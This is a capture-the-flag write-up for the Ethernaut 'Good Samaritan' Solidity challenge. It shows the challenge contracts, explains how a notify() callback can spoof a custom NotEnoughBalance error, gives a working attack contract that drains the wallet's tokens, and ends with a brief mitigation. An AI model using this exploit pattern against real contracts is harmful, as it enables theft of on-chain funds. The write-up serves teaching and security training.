Good Samaritan
Overview
This challenge focuses on a relatively new feature introduced recently in solidity known as custom errors used for better error handling. The challenge is comprised of 3 smart contracts
- GoodSamaritan
- Coin
- Wallet
GoodSamaritian is the main contract we ned to exploit. It holds a million token intially and gives out 10 tokens to anyone who requests it, our goal is to drain the contract of all of its token.
Lets have a look at the this contract…
GoodSamaritian
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract GoodSamaritan {
Wallet public wallet;
Coin public coin;
constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));
wallet.setCoin(coin);
}
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}
The constructor sets the wallet and coin contract deposits the tokens into the wallet.
The requestDonation()
function calls a function in the wallet contract which transfers the requester 10 tokens but we see that if the error regarding balances is encounterd the wallet transfers all of its funds present in it. This is what we ned to execute to drain the walet of al tokens.
Lets have look at coin and then wallet contracts…
Coin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
contract Coin {
using Address for address;
mapping(address => uint256) public balances;
error InsufficientBalance(uint256 current, uint256 required);
constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}
The constructor intializes the wallet with 1 million coins and we can see that the contract defines a custom error called InsufficientBalance()
.
The transfer function is intresting, allthough it performs the standard addition and subtraction classic of any normal transfer function the next part is whats out of ordinary as it sends out a notification to the contract that amount
money has been transferred.
This opens an attack vector for us as if we request via a contract it will pass dest_.isContract()
check if we define a notify()
function in our contract that will be called inside which we can take over control flow.
Now looking at wallet contract…
Wallet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
contract Wallet {
// The owner of the wallet instance
address public owner;
Coin public coin;
error OnlyOwner();
error NotEnoughBalance();
modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}
constructor() {
owner = msg.sender;
}
function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}
function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}
function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}
This contract defines the donate10() function which checks if the wallet has enough balance else it reverts with the error NotEnoughBalance() this is the erro we need to execute to trigger the trasferRemainder() function declared in this contract which trnasfers all remaing wallet fund to the _dest address.
Also note both donate10()
and transferRemainder()
fucntions are guarded by the onlyOwner()
modifer hence only the contract owner in this case the GoodSamaritian
can call them.
Constructing the exploit
Ok now all the contracts have been analyzed this gives us an idea on how to proceed further…
- First we need to request the
GoodSamaritian
contract, this will execute therequestDonation()
function. - This in turn calls the
donate10()
fucntion which checks for balance and as at this time the wallet will have enough balance it will pass the check. - Next the
transfer()
fucntion will be called inCoin
contract, this will transfer 10 coins to our contracts address but then thenotify()
fucntion will be called on our contract. - We should have the
notify()
function defined in our contract and inside this we will exceute the revert with the errorNotEnoughBalance()
. - This revert will then trigger the catch expression in
requestDonation()
with the error message asNotEnoughBalance()
. - This will pass the check for the custom error and finally the
transferRemainder()
function wil be called and all wallet funds will be transferred to our contract.
Exploit
This will be the final exploit…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Attack{
error NotEnoughBalance();
GoodSamaritan goodsamaritan = GoodSamaritan(_GoodSamaritianAddress); //ethernaut instance address
function exploitGoodSamaritian() external {
goodsamaritan.requestDonation();
}
function notify(uint256 amount) external pure {
if (amount <= 10) {
revert NotEnoughBalance();
}
}
}
This contract is the attack contract.
- First we will call the
exploitGoodSamaritian()
function which will call therequestDoantion(
) function and as this is the first time all checks pass and 10 coins will be trnasferrred and thenotif()
function will be called. - Insdie notify we have declared the revert statement with desired error which will trigger the
tranferRemnainder()
function to be called. - But one catch is while transferring the entire wallet funds again the same process happens and again
notify()
will be called this willl result in our transfer being repeatedly reverted. - To counter that the check is put:
amount <= 10
, so that when the entire amount is transferred the revert statement is not executed.
Mitigation
In order to avoid this instead of notifying in that manner maybe events can be used, the essential thing is not to give away control flow to an external party and then deciding critical (or for that manner any) contract functionality based upon any parameter that the external party could potentially tamper with.